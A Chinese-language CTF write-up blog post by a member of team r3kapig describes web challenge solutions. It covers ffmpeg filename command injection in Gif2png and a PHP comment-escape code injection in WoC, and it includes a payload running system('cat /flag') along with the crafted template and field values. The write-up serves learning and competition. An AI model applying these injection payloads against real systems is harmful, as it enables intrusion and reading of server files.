Author:颖奇L’Amore

Blog:www.gem-love.com

被队友带躺的舒舒服服,第一天晚上因为临时有事做完web1就走了,一觉醒来web被ak了,然后就看着xmcp大哥单刷了好几个乱七八糟分类的题,还拿了一个Hard的一血,wtcl

最后是拿了总榜第四、中国第一,队友tql!


Hunt

一开始我以为像rgbCTF的web1那样,如果需要的时间很短,那么应该用js模拟一下鼠标事件。不过我还是决定去试一试,然后随便一点就在几秒钟内点到了5个验证码,直接出了flag,太签到了


Gif2png

solved by [email protected]

一开始我没看到题目给了源码一通瞎测,然后队友直接solve,我才发现有源码。确实很简单,用了ffmpeg,文件名可控,所以直接命令注入。

问题在于,没有回显,又不出网。所以可以把文件复制到我们能访问的地方去,看这个路由:

所以把文件拷贝到uploads/uid下来即可,uid会在上传时候给你返回的。

$()``一样的作用,用来执行命令,再用||分隔一下,利用base64编码来执行任意命令。

读main.py即可得到flag。


WoC

solved by Hpdoger@r3kapig

newtemplate.php可以新建模板,然而要求了不能含有<?

在calc.php中能够把html模板保存成一个php文件,其中有php的短标签<?=,而$field也是我们可控的

所以我们只需要通过特定构造的$field与后文一起构造一个多行注释,让代码最终为<?=json_encode(string(something));eval(your_code_here);即可

<html>
    <head>
        <meta charset="utf-8">
        <title>hpdoger-4<title>
    <head>  
            <input type="text" class="part" id="field" name="field" >
            <input type="button" class="part" id="digit0" data-append="0" >
            <input type="button" class="part" id="digit1" data-append="1" >
            <input type="button" class="part" id="digit2" data-append="2" >
            <input type="button" class="part" id="digit3" data-append="3" >
            <input type="button" class="part" id="digit4" data-append="4" >
            <input type="button" class="part" id="digit5" data-append="5" >
            <input type="button" class="part" id="digit6" data-append="6" >
            <input type="button" class="part" id="digit7" data-append="7" >
            <input type="button" class="part" id="digit8" data-append="8" >
            <input type="button" class="part" id="digit9" data-append="9" >
            <input type="button" class="part" id="plus" data-append=" + " >
            <input type="button" class="part" id="minus" data-append=" - " >
            <input type="button" class="part" id="times" data-append=" * " >
            <input type="button" class="part" id="div" data-append="  " >
            <input type="button" class="part" id="point" data-append="." >
            <input type="button" class="part" id="clear" >
            <input type="button" class="part" id="back" value="← Back" >
            <input type="submit" class="part" id="share" name="share" value="Share" >
            <input type="submit" class="part" id="equals" >
        <form>
        <td><tr><table>
    <body>

<html>*/;eval(system('cat /flag'))?>

新建模板后能够得到$uuid.html,再去share得到新的$calc.php$field构造为:

/*((*/1))/*

之后文件就会变为

<script>var preloadValue = <?=json_encode((string)(/*注释*/1))/*注释*/;eval(system('cat /flag'))?>

这样,利用多行注释闭合了json_encode()的同时也让php命令从中逃逸出来成功执行,得到flag


Developer’s Laptop

solved by Hpdoger@r3kapig

准备写wp,发现环境已经关了,算了算了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2526.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image